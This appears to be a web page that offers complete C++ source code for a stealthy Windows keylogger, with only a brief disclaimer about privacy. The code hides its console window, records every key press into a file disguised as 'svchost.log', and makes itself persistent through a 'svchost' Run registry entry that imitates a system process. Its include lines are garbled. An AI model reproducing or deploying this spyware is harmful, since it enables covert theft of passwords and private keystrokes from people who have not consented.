A keylogger is more spyware than malware, used to capture key presses and, optionally, send the results back somewhere.
Using a keylogger on a computer to monitor the activities of a user, without the user's consent, is a violation of privacy. Don't do it.
C++ Code
#include#include #include #define BUFSIZE 80 int test_key(void); int create_key(char *); int get_keys(void); int main(void) { SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS); HWND stealth; /*creating stealth (window is not visible)*/ AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); int test,create; test=test_key();/*check if key is available for opening*/ if (test==2)/*create key*/ { char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/ create=create_key(path); } int t=get_keys(); return t; } int get_keys(void) { short character; while(1) { for(character=8;character<=222;character++) { if(GetAsyncKeyState(character)==-32767) { FILE *file; file=fopen("svchost.log","a+"); if(file==NULL) { return 1; } if(file!=NULL) { if((character>=39)&&(character<=64)) { fputc(character,file); fclose(file); break; } else if((character>64)&&(character<91)) { character+=32; fputc(character,file); fclose(file); break; } else { switch(character) { case VK_SPACE: fputc(' ',file); fclose(file); break; case VK_SHIFT: fputs("[SHIFT]",file); fclose(file); break; case VK_RETURN: fputs("\n[ENTER]",file); fclose(file); break; case VK_BACK: fputs("[BACKSPACE]",file); fclose(file); break; case VK_TAB: fputs("[TAB]",file); fclose(file); break; case VK_CONTROL: fputs("[CTRL]",file); fclose(file); break; case VK_DELETE: fputs("[DEL]",file); fclose(file); break; case VK_OEM_1: fputs("[;:]",file); fclose(file); break; case VK_OEM_2: fputs("[/?]",file); fclose(file); break; case VK_OEM_3: fputs("[`~]",file); fclose(file); break; case VK_OEM_4: fputs("[ [{ ]",file); fclose(file); break; case VK_OEM_5: fputs("[\\|]",file); fclose(file); break; case VK_OEM_6: fputs("[ ]} ]",file); fclose(file); break; case VK_OEM_7: fputs("['\"]",file); fclose(file); break; /*case VK_OEM_PLUS: fputc('+',file); fclose(file); break; case VK_OEM_COMMA: fputc(',',file); fclose(file); break; case VK_OEM_MINUS: fputc('-',file); fclose(file); break; case VK_OEM_PERIOD: fputc('.',file); fclose(file); break;*/ case VK_NUMPAD0: fputc('0',file); fclose(file); break; case VK_NUMPAD1: fputc('1',file); fclose(file); break; case VK_NUMPAD2: fputc('2',file); fclose(file); break; case VK_NUMPAD3: fputc('3',file); fclose(file); break; case VK_NUMPAD4: fputc('4',file); fclose(file); break; case VK_NUMPAD5: fputc('5',file); fclose(file); break; case VK_NUMPAD6: fputc('6',file); fclose(file); break; case VK_NUMPAD7: fputc('7',file); fclose(file); break; case VK_NUMPAD8: fputc('8',file); fclose(file); break; case VK_NUMPAD9: fputc('9',file); fclose(file); break; case VK_CAPITAL: fputs("[CAPS LOCK]",file); fclose(file); break; default: fclose(file); break; Sleep(50); } } } } } } return EXIT_SUCCESS; } int test_key(void) { int check; HKEY hKey; char path[BUFSIZE]; DWORD buf_length=BUFSIZE; int reg_key; reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey); if(reg_key!=0) { check=1; return check; } reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length); if((reg_key!=0)||(buf_length>BUFSIZE)) check=2; if(reg_key==0) check=0; RegCloseKey(hKey); return check; } int create_key(char *path) { int reg_key,check; HKEY hkey; reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey); if(reg_key==0) { RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path)); check=0; return check; } if(reg_key!=0) check=1; return check; }
